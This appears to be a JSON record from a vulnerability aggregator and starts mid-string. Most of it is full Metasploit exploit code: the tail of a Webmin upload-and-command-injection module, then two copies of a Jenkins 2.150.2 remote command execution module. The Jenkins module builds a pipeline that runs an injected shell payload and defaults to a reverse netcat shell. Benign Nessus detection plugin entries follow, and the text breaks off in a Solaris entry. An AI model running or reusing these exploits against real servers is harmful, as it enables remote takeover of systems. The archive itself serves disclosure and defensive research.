\\\".\\n\\t\\t\\t\\t\\t quotemeta(&resolve_links($p)), 1);\\n\\t\\t\"\r\n data2 << \"if ($out =~ /text|script/) {\\n\\t\\t\\t$type = \\\"text/plain\\\";\\n\\t\\t\\t}\\n\\t\\telse {\\n\\t\\t\\t\"\r\n data2 << \"$type = \\\"application/unknown\\\";\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n# Dump the file\\n&switch_acl_uid();\\n\"\r\n data2 << \"$temp = &transname();\\nif (!&can_access($p)) {\\n\\t# ACL rules prevent access to file\\n\\t\"\r\n data2 << \"&error_exit(&text('view_eaccess', &html_escape($p)));\\n\\t}\\n$p = &unmake_chroot($p);\\n\\n\"\r\n data2 << \"if ($in{'format'}) {\\n\\t# An archive of a directory was requested .. create it\\n\\t\"\r\n data2 << \"$archive || &error_exit($text{'view_earchive'});\\n\\tif ($in{'format'} == 1) {\\n\\t\\t\"\r\n data2 << \"$p =~ s/\\\\.zip$//;\\n\\t\\t}\\n\\telsif ($in{'format'} == 2) {\\n\\t\\t$p =~ s/\\\\.tgz$//;\\n\\t\\t}\\n\\t\"\r\n data2 << \"elsif ($in{'format'} == 3) {\\n\\t\\t$p =~ s/\\\\.tar$//;\\n\\t\\t}\\n\\t-d $p || &error_exit($text{'view_edir'}.\\\" \\\".&html_escape($p));\\n\\t\"\r\n data2 << \"if ($archive == 2 && $archmax > 0) {\\n\\t\\t# Check if directory is too large to archive\\n\\t\\tlocal $kb = &disk_usage_kb($p);\\n\\t\\t\"\r\n data2 << \"if ($kb*1024 > $archmax) {\\n\\t\\t\\t&error_exit(&text('view_earchmax', $archmax));\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\"\r\n data2 << \"# Work out the base directory and filename\\n\\tif ($p =~ /^(.*\\\\/)([^\\\\/]+)$/) {\\n\\t\\t$pdir = $1;\\n\\t\\t\"\r\n data2 << \"$pfile = $2;\\n\\t\\t}\\n\\telse {\\n\\t\\t$pdir = \\\"/\\\";\\n\\t\\t$pfile = $p;\\n\\t\\t}\\n\\n\\t\"\r\n data2 << \"# Work out the command to run\\n\\tif ($in{'format'} == 1) {\\n\\t\\t\"\r\n data2 << \"&has_command(\\\"zip\\\") || &error_exit(&text('view_ecmd', \\\"zip\\\"));\\n\\t\\t\"\r\n data2 << \"$cmd = \\\"zip -r $temp \\\".quotemeta($pfile);\\n\\t\\t}\\n\\telsif ($in{'format'} == 2) {\\n\\t\\t\"\r\n data2 << \"&has_command(\\\"tar\\\") || &error_exit(&text('view_ecmd', \\\"tar\\\"));\\n\\t\\t\"\r\n data2 << \"&has_command(\\\"gzip\\\") || &error_exit(&text('view_ecmd', \\\"gzip\\\"));\\n\\t\\t\"\r\n data2 << \"$cmd = \\\"tar cf - \\\".quotemeta($pfile).\\\" | gzip -c >$temp\\\";\\n\\t\\t}\\n\\t\"\r\n data2 << \"elsif ($in{'format'} == 3) {\\n\\t\\t&has_command(\\\"tar\\\") || &error_exit(&text('view_ecmd', \\\"tar\\\"));\\n\\t\\t\"\r\n data2 << \"$cmd = \\\"tar cf $temp \\\".quotemeta($pfile);\\n\\t\\t}\\n\\n\\tif ($in{'test'}) {\\n\\t\\t\"\r\n data2 << \"# Don't actually do anything if in test mode\\n\\t\\t&ok_exit();\\n\\t\\t}\\n\\n\\t\"\r\n data2 << \"# Run the command, and send back the resulting file\\n\\tlocal $qpdir = quotemeta($pdir);\\n\\t\"\r\n data2 << \"local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\\n\\tif ($?) {\\n\\t\\tunlink($temp);\\n\\t\\t\"\r\n data2 << \"&error_exit(&text('view_ecomp', &html_escape($out)));\\n\\t\\t}\\n\\tlocal @st = stat($temp);\\n\\t\"\r\n data2 << \"print \\\"Content-length: $st[7]\\\\n\\\";\\n\\tprint \\\"Content-type: $type\\\\n\\\\n\\\";\\n\\t\"\r\n data2 << \"open(FILE, $temp);\\n\\tunlink($temp);\\n\\twhile(read(FILE, $buf, 1024)) {\\n\\t\\tprint $buf;\\n\\t\\t}\\n\\t\"\r\n data2 << \"close(FILE);\\n\\t}\\nelse {\\n\\tif (!open(FILE, $p)) {\\n\\t\\t# Unix permissions prevent access\\n\\t\\t\"\r\n data2 << \"&error_exit(&text('view_eopen', $p, $!));\\n\\t\\t}\\n\\n\\tif ($in{'test'}) {\\n\\t\\t\"\r\n data2 << \"# Don't actually do anything if in test mode\\n\\t\\tclose(FILE);\\n\\t\\t\"\r\n data2 << \"&ok_exit();\\n\\t\\t}\\n\\n\\[email\u00a0protected] = stat($p);\\n\\tprint \\\"X-no-links: 1\\\\n\\\";\\n\\t\"\r\n data2 << \"print \\\"Content-length: $st[7]\\\\n\\\";\\n\\tprint \\\"Content-Disposition: Attachment\\\\n\\\" if ($download);\\n\\t\"\r\n data2 << \"print \\\"Content-type: $type\\\\n\\\\n\\\";\\n\\tif ($type =~ /^text\\\\/html/i && !$in{'edit'}) {\\n\\t\\t\"\r\n data2 << \"while(read(FILE, $buf, 1024)) {\\n\\t\\t\\t$data .= $buf;\\n\\t\\t\\t}\\n\\t\\tprint &filter_javascript($data);\\n\\t\\t\"\r\n data2 << \"}\\n\\telse {\\n\\t\\twhile(read(FILE, $buf, 1024)) {\\n\\t\\t\\tprint $buf;\\n\\t\\t\\t}\\n\\t\\t}\\n\\tclose(FILE);\\n\\t}\\n\\n\"\r\n data2 << \"sub error_exit\\n{\\nprint \\\"Content-type: text/plain\\\\n\\\";\\n\"\r\n data2 << \"print \\\"Content-length: \\\",length($_[0]),\\\"\\\\n\\\\n\\\";\\nprint $_[0];\\nexit;\\n}\\n\\n\"\r\n data2 << \"sub ok_exit\\n{\\nprint \\\"Content-type: text/plain\\\\n\\\\n\\\";\\nprint \\\"\\\\n\\\";\\nexit;\\n}\"\r\n data2 << \"\\r\\n\\r\\n\"\r\n data2 << \"-----------------------------{boundary}\\r\\n\"\r\n data2 << \"Content-Disposition: form-data; name=\\\"dir\\\"\\r\\n\\r\\n#{dir}\\r\\n\"\r\n data2 << \"-----------------------------{boundary}\\r\\n\"\r\n data2 << \"Content-Disposition: form-data; name=\\\"user\\\"\\r\\n\\r\\nroot\\r\\n\"\r\n data2 << \"-----------------------------{boundary}\\r\\n\"\r\n data2 << \"Content-Disposition: form-data; name=\\\"group_def\\\"\\r\\n\\r\\n1\\r\\n\"\r\n data2 << \"-----------------------------{boundary}\\r\\n\"\r\n data2 << \"Content-Disposition: form-data; name=\\\"group\\\"\\r\\n\\r\\n\\r\\n\"\r\n data2 << \"-----------------------------{boundary}\\r\\n\"\r\n data2 << \"Content-Disposition: form-data; name=\\\"zip\\\"\\r\\n\\r\\n0\\r\\n\"\r\n data2 << \"-----------------------------{boundary}\\r\\n\"\r\n data2 << \"Content-Disposition: form-data; name=\\\"email_def\\\"\\r\\n\\r\\n1\\r\\n\"\r\n data2 << \"-----------------------------{boundary}\\r\\n\"\r\n data2 << \"Content-Disposition: form-data; name=\\\"ok\\\"\\r\\n\\r\\nUpload\\r\\n\"\r\n data2 << \"-----------------------------{boundary}--\\r\\n\"\r\n\r\n res2 = send_request_raw(\r\n {\r\n 'method' => \"POST\",\r\n 'uri' => \"/updown/upload.cgi?id=154739243511\",\r\n 'data' => data2,\r\n 'headers' =>\r\n {\r\n 'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',\r\n 'Referer' => \"#{ssl}#{peer}/updown/?xnavigation=1\",\r\n },\r\n 'cookie' => \"redirect=1; testing=1; sid=#{session}\"\r\n })\r\n\r\n if res2 and res2.code == 200 and res2.body =~ /Saving file/\r\n print_good \"Vulnerable show.cgi file was successfully uploaded.\"\r\n else\r\n print_error \"Upload failed.\"\r\n return\r\n end \r\n##\r\n# Command execution and shell retrieval\r\n##\r\n print_status(\"Attempting to execute the payload...\")\r\n\r\n command = payload.encoded\r\n\r\n res = send_request_cgi(\r\n {\r\n 'uri' => \"/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|\",\r\n 'cookie' => \"sid=#{session}\"\r\n }, 25)\r\n\r\n\r\n if res and res.code == 200 and res.message =~ /Document follows/\r\n print_good \"Payload executed successfully\"\r\n else\r\n print_error \"Error executing the payload\"\r\n return\r\n end\r\n\r\n end\r\n\r\nend\n\n# 0day.today [2019-02-06] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32006"}], "packetstorm": [{"lastseen": "2019-02-13T02:50:01", "bulletinFamily": "exploit", "description": "", "modified": "2019-02-12T00:00:00", "published": "2019-02-12T00:00:00", "id": "PACKETSTORM:151616", "href": "https://packetstormsecurity.com/files/151616/Jenkins-2.150.2-Remote-Command-Execution-Via-Node-JS.html", "title": "Jenkins 2.150.2 Remote Command Execution Via Node JS", "type": "packetstorm", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'msf/core' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = GoodRanking \n \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)', \n'Description' => %q{ \nThis module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges. \nThe vulnerability is exploited by a small script prepared in NodeJS. \nThe sh parameter allows us to run commands. \nSample script: \nnode { \nsh \"whoami\" \n} \nIn addition, ANONYMOUS users also have the authority to JOB create and BUILD by default. \nTherefore, all users without console authority can run commands on the system as root privilege. \n}, \n'Author' => [ \n'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module \n], \n'License' => MSF_LICENSE, \n'References' => \n[ \n['URL', 'https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html'] \n], \n'Privileged' => true, \n'Payload' => \n{ \n'DisableNops' => true, \n'Space' => 512, \n'Compat' => \n{ \n'PayloadType' => 'cmd', \n'RequiredCmd' => 'reverse netcat generic perl ruby python telnet', \n} \n}, \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Targets' => [[ 'Jenkins <= 2.150.2', { }]], \n'DisclosureDate' => 'Feb 11 2019', \n'DefaultTarget' => 0, \n'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })) \n \nregister_options( \n[ \nOptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), \nOptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), \nOptString.new('PATH', [ true, 'The path to jenkins', '/' ]), \n], self.class) \nend \n## \n# Jenkins activity check \n## \n \ndef check \nres = send_request_cgi({'uri' => \"/login\"}) \nif res and res.headers.include?('X-Jenkins') \nreturn Exploit::CheckCode::Detected \nelse \nreturn Exploit::CheckCode::Safe \nend \nend \n \ndef exploit \nprint_status('Attempting to login to Jenkins dashboard') \nres = send_request_cgi({'uri' => \"/script\"}) \nif not (res and res.code) \nfail_with(Exploit::Failure::Unknown) \nend \n \nsessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] \n@cookie = \"#{sessionid}\" \nprint_status(\"#{sessionid}\") \n \nif res.code != 200 \nprint_status('Logging in...') \n## \n# Access control and information \n## \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => \"/j_acegi_security_check\", \n'cookie' => @cookie, \n'vars_post' => \n{ \n'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), \n'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), \n'Submit' => 'Sign+in' \n} \n}) \n \nif not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ \nprint_error('User Login failed. If anonymous login is active, exploit will continue.') \nend \nelse \nprint_status('No authentication required, skipping login...') \nend \n## \n# Check Crumb for create pipeline \n## \ncookies = res.get_cookies \nres = send_request_cgi({ \n'method' => 'GET', \n'uri' => \"/view/all/newJob\", \n'cookie' => cookies \n}) \n \nhtml = res.body \nif html =~ /Jenkins-Crumb/ \nprint_good(\"Login Successful\") \nelse \nprint_status(\"Service found, but login failed\") \nexit 0 \nend \n \ncrumb = res.body.split('Jenkins-Crumb')[1].split('\");<')[0].split('\"').last \nprint_status(\"Jenkins-Crumb: #{crumb}\") \n## \n# Create Pipeline \n## \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => \"/view/all/createItem\", \n'cookie' => cookies, \n'vars_post' => \n{ \n'name' => \"cmd\", \n'mode' => \"org.jenkinsci.plugins.workflow.job.WorkflowJob\", \n'from' => \"\", \n'Jenkins-Crumb' => \"#{crumb}\", \n'json' => \"%7B%22name%22%3A+%22cmd%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22%2C+%22from%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%22528f90f71b2d2742299b4daf503130ac%22%7\" \n} \n}) \n \n## \n# Configure Pipeline \n## \nshell = payload.encoded \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => \"/job/cmd/configSubmit\", \n'cookie' => cookies, \n'vars_post' => \n{ \n'description' => \"cmd\", \n'Jenkins-Crumb' => \"#{crumb}\", \n'json' => \"{\\\"description\\\": \\\"cmd\\\", \\\"properties\\\": {\\\"stapler-class-bag\\\": \\\"true\\\", \\\"hudson-security-AuthorizationMatrixProperty\\\": {}, \\\"jenkins-model-BuildDiscarderProperty\\\": {\\\"specified\\\": false, \\\"\\\": \\\"0\\\", \\\"strategy\\\": {\\\"daysToKeepStr\\\": \\\"\\\", \\\"numToKeepStr\\\": \\\"\\\", \\\"artifactDaysToKeepStr\\\": \\\"\\\", \\\"artifactNumToKeepStr\\\": \\\"\\\", \\\"stapler-class\\\": \\\"hudson.tasks.LogRotator\\\", \\\"$class\\\": \\\"hudson.tasks.LogRotator\\\"}}, \\\"org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty\\\": {\\\"specified\\\": false}, \\\"org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty\\\": {\\\"specified\\\": false}, \\\"com-coravy-hudson-plugins-github-GithubProjectProperty\\\": {}, \\\"org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty\\\": {\\\"specified\\\": false, \\\"hint\\\": \\\"MAX_SURVIVABILITY\\\"}, \\\"org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty\\\": {\\\"specified\\\": false, \\\"buildCount\\\": \\\"1\\\"}, \\\"hudson-model-ParametersDefinitionProperty\\\": {\\\"specified\\\": false}, \\\"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\\\": {}, \\\"org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty\\\": {\\\"triggers\\\": {\\\"stapler-class-bag\\\": \\\"true\\\"}}}, \\\"disable\\\": false, \\\"hasCustomQuietPeriod\\\": false, \\\"quiet_period\\\": \\\"5\\\", \\\"displayNameOrNull\\\": \\\"\\\", \\\"\\\": \\\"0\\\", \\\"definition\\\": {\\\"script\\\": \\\"node {\\\\n sh \\\\\\\"#{shell}\\\\\\\"\\\\n}\\\", \\\"\\\": [\\\"try sample Pipeline...\\\", \\\"\\\\u0001\\\\u0001\\\"], \\\"sandbox\\\": true, \\\"stapler-class\\\": \\\"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\\\", \\\"$class\\\": \\\"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\\\"}, \\\"core:apply\\\": \\\"\\\", \\\"Jenkins-Crumb\\\": \\\"#{crumb}\\\"}\", \n'Submit' => \"Save\" \n} \n}) \n \nif res.code == 302 \nprint_good(\"Pipeline was created and Node JS code was integrated.\") \nend \n## \n# Build Pipeline and Execute payload \n## \nprint_status(\"Trying to get remote shell...\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => \"/job/cmd/build?delay=0sec\", \n'cookie' => cookies, \n'vars_post' => \n{ \n'Jenkins-Crumb' => \"#{crumb}\" \n} \n}) \nhandler \nend \nend \n## \n# End \n## \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/151616/jenkins21502-exec.rb.txt"}], "exploitdb": [{"lastseen": "2019-02-12T11:28:29", "bulletinFamily": "exploit", "description": "", "modified": "2019-02-12T00:00:00", "published": "2019-02-12T00:00:00", "id": "EDB-ID:46352", "href": "https://www.exploit-db.com/exploits/46352", "type": "exploitdb", "title": "Jenkins 2.150.2 - Remote Command Execution (Metasploit)", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n \r\nrequire 'msf/core'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = GoodRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n \r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)',\r\n 'Description' => %q{\r\n This module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges.\r\n The vulnerability is exploited by a small script prepared in NodeJS.\r\n The sh parameter allows us to run commands.\r\n Sample script: \r\n node {\r\n sh \"whoami\"\r\n }\r\n In addition, ANONYMOUS users also have the authority to JOB create and BUILD by default.\r\n Therefore, all users without console authority can run commands on the system as root privilege.\r\n },\r\n 'Author' => [\r\n 'AkkuS <\u00d6zkan Mustafa Akku\u015f>', # Vulnerability Discovery, PoC & Msf Module\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'References' =>\r\n [\r\n ['URL', 'https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html']\r\n ],\r\n 'Privileged' => true,\r\n 'Payload' =>\r\n {\r\n 'DisableNops' => true,\r\n 'Space' => 512,\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'reverse netcat generic perl ruby python telnet',\r\n }\r\n },\r\n 'Platform' => 'unix',\r\n 'Arch' => ARCH_CMD,\r\n 'Targets' => [[ 'Jenkins <= 2.150.2', { }]],\r\n 'DisclosureDate' => 'Feb 11 2019',\r\n 'DefaultTarget' => 0,\r\n 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }))\r\n\r\n register_options(\r\n [\r\n OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),\r\n OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),\r\n OptString.new('PATH', [ true, 'The path to jenkins', '/' ]),\r\n ], self.class)\r\n end\r\n##\r\n# Jenkins activity check\r\n##\r\n \r\n def check\r\n res = send_request_cgi({'uri' => \"/login\"})\r\n if res and res.headers.include?('X-Jenkins')\r\n return Exploit::CheckCode::Detected\r\n else\r\n return Exploit::CheckCode::Safe\r\n end\r\n end\r\n \r\n def exploit\r\n print_status('Attempting to login to Jenkins dashboard')\r\n res = send_request_cgi({'uri' => \"/script\"})\r\n if not (res and res.code)\r\n fail_with(Exploit::Failure::Unknown)\r\n end\r\n \r\n sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]\r\n @cookie = \"#{sessionid}\"\r\n\tprint_status(\"#{sessionid}\")\r\n \r\n if res.code != 200\r\n print_status('Logging in...')\r\n##\r\n# Access control and information\r\n##\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => \"/j_acegi_security_check\",\r\n 'cookie' => @cookie,\r\n 'vars_post' =>\r\n {\r\n 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),\r\n 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),\r\n 'Submit' => 'Sign+in'\r\n }\r\n })\r\n\r\n if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/\r\n print_error('User Login failed. If anonymous login is active, exploit will continue.')\r\n end\r\n else\r\n print_status('No authentication required, skipping login...')\r\n end\r\n##\r\n# Check Crumb for create pipeline\r\n##\r\n\tcookies = res.get_cookies\r\n res = send_request_cgi({\r\n\t 'method' => 'GET',\r\n 'uri' => \"/view/all/newJob\",\r\n 'cookie' => cookies\r\n })\r\n\r\n html = res.body\r\n if html =~ /Jenkins-Crumb/\r\n print_good(\"Login Successful\")\r\n else\r\n print_status(\"Service found, but login failed\")\r\n exit 0\r\n end\r\n\r\n\tcrumb = res.body.split('Jenkins-Crumb')[1].split('\");<')[0].split('\"').last\r\n print_status(\"Jenkins-Crumb: #{crumb}\")\r\n##\r\n# Create Pipeline\r\n##\r\n res = send_request_cgi({\r\n\t 'method' => 'POST',\r\n 'uri' => \"/view/all/createItem\",\r\n 'cookie' => cookies,\r\n 'vars_post' =>\r\n {\r\n 'name' => \"cmd\",\r\n 'mode' => \"org.jenkinsci.plugins.workflow.job.WorkflowJob\",\r\n 'from' => \"\",\r\n 'Jenkins-Crumb' => \"#{crumb}\",\r\n 'json' => \"%7B%22name%22%3A+%22cmd%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22%2C+%22from%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%22528f90f71b2d2742299b4daf503130ac%22%7\"\r\n }\r\n })\r\n\r\n##\r\n# Configure Pipeline\r\n##\r\n shell = payload.encoded\r\n res = send_request_cgi({\r\n\t 'method' => 'POST',\r\n 'uri' => \"/job/cmd/configSubmit\",\r\n 'cookie' => cookies,\r\n 'vars_post' =>\r\n {\r\n 'description' => \"cmd\",\r\n 'Jenkins-Crumb' => \"#{crumb}\",\r\n 'json' => \"{\\\"description\\\": \\\"cmd\\\", \\\"properties\\\": {\\\"stapler-class-bag\\\": \\\"true\\\", \\\"hudson-security-AuthorizationMatrixProperty\\\": {}, \\\"jenkins-model-BuildDiscarderProperty\\\": {\\\"specified\\\": false, \\\"\\\": \\\"0\\\", \\\"strategy\\\": {\\\"daysToKeepStr\\\": \\\"\\\", \\\"numToKeepStr\\\": \\\"\\\", \\\"artifactDaysToKeepStr\\\": \\\"\\\", \\\"artifactNumToKeepStr\\\": \\\"\\\", \\\"stapler-class\\\": \\\"hudson.tasks.LogRotator\\\", \\\"$class\\\": \\\"hudson.tasks.LogRotator\\\"}}, \\\"org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty\\\": {\\\"specified\\\": false}, \\\"org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty\\\": {\\\"specified\\\": false}, \\\"com-coravy-hudson-plugins-github-GithubProjectProperty\\\": {}, \\\"org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty\\\": {\\\"specified\\\": false, \\\"hint\\\": \\\"MAX_SURVIVABILITY\\\"}, \\\"org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty\\\": {\\\"specified\\\": false, \\\"buildCount\\\": \\\"1\\\"}, \\\"hudson-model-ParametersDefinitionProperty\\\": {\\\"specified\\\": false}, \\\"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\\\": {}, \\\"org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty\\\": {\\\"triggers\\\": {\\\"stapler-class-bag\\\": \\\"true\\\"}}}, \\\"disable\\\": false, \\\"hasCustomQuietPeriod\\\": false, \\\"quiet_period\\\": \\\"5\\\", \\\"displayNameOrNull\\\": \\\"\\\", \\\"\\\": \\\"0\\\", \\\"definition\\\": {\\\"script\\\": \\\"node {\\\\n sh \\\\\\\"#{shell}\\\\\\\"\\\\n}\\\", \\\"\\\": [\\\"try sample Pipeline...\\\", \\\"\\\\u0001\\\\u0001\\\"], \\\"sandbox\\\": true, \\\"stapler-class\\\": \\\"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\\\", \\\"$class\\\": \\\"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\\\"}, \\\"core:apply\\\": \\\"\\\", \\\"Jenkins-Crumb\\\": \\\"#{crumb}\\\"}\",\r\n 'Submit' => \"Save\"\r\n }\r\n })\r\n\r\n if res.code == 302\r\n print_good(\"Pipeline was created and Node JS code was integrated.\")\r\n end\r\n##\r\n# Build Pipeline and Execute payload\r\n##\r\n print_status(\"Trying to get remote shell...\")\r\n res = send_request_cgi({\r\n\t 'method' => 'POST',\r\n 'uri' => \"/job/cmd/build?delay=0sec\",\r\n 'cookie' => cookies,\r\n 'vars_post' =>\r\n {\r\n 'Jenkins-Crumb' => \"#{crumb}\"\r\n }\r\n })\r\n handler\r\n end\r\nend\r\n##\r\n# End\r\n##", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/46352"}], "nessus": [{"lastseen": "2019-02-08T12:52:00", "bulletinFamily": "scanner", "description": "An update of the nodejs package has been released.", "modified": "2019-02-07T00:00:00", "published": "2019-02-07T00:00:00", "id": "PHOTONOS_PHSA-2018-2_0-0093_NODEJS.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=121994", "title": "Photon OS 2.0: Nodejs PHSA-2018-2.0-0093", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.`\n#\n\n# The descriptive text and package checks in this plugin were\n# extracted from VMware Security Advisory PHSA-2018-2.0-0093. The text\n# itself is copyright (C) VMware, Inc.\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(121994);\n script_version(\"1.1\");\n script_cvs_date(\"Date: 2019/02/07 18:14:47\");\n\n script_cve_id(\"CVE-2018-7161\", \"CVE-2018-7167\");\n\n script_name(english:\"Photon OS 2.0: Nodejs PHSA-2018-2.0-0093\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote PhotonOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"An update of the nodejs package has been released.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://github.com/vmware/photon/wiki/Security-Updates-2-93.md\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected Linux packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2018-7161\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/09/14\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/09/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/02/07\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:vmware:photonos:nodejs\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:vmware:photonos:2.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"PhotonOS Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/PhotonOS/release\", \"Host/PhotonOS/rpm-list\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/PhotonOS/release\");\nif (isnull(release) || release !~ \"^VMware Photon\") audit(AUDIT_OS_NOT, \"PhotonOS\");\nif (release !~ \"^VMware Photon (?:Linux|OS) 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"PhotonOS 2.0\");\n\nif (!get_kb_item(\"Host/PhotonOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"PhotonOS\", cpu);\n\nflag = 0;\n\nif (rpm_check(release:\"PhotonOS-2.0\", reference:\"nodejs-8.11.4-1.ph2\")) flag++;\nif (rpm_check(release:\"PhotonOS-2.0\", reference:\"nodejs-8.11.4-1.ph2\")) flag++;\nif (rpm_check(release:\"PhotonOS-2.0\", reference:\"nodejs-debuginfo-8.11.4-1.ph2\")) flag++;\nif (rpm_check(release:\"PhotonOS-2.0\", reference:\"nodejs-debuginfo-8.11.4-1.ph2\")) flag++;\nif (rpm_check(release:\"PhotonOS-2.0\", reference:\"nodejs-devel-8.11.4-1.ph2\")) flag++;\nif (rpm_check(release:\"PhotonOS-2.0\", reference:\"nodejs-devel-8.11.4-1.ph2\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"nodejs\");\n}\n", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2019-01-19T04:49:53", "bulletinFamily": "scanner", "description": "JavaSE 8: update 202 patch (equivalent to JDK 8u202), 64bit.\nDate this patch was last updated by Sun : Jan/14/19", "modified": "2019-01-18T00:00:00", "published": "2019-01-15T00:00:00", "id": "SOLARIS10_152927-02.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=121179", "title": "Solaris 10 (sparc) : 152927-02", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, 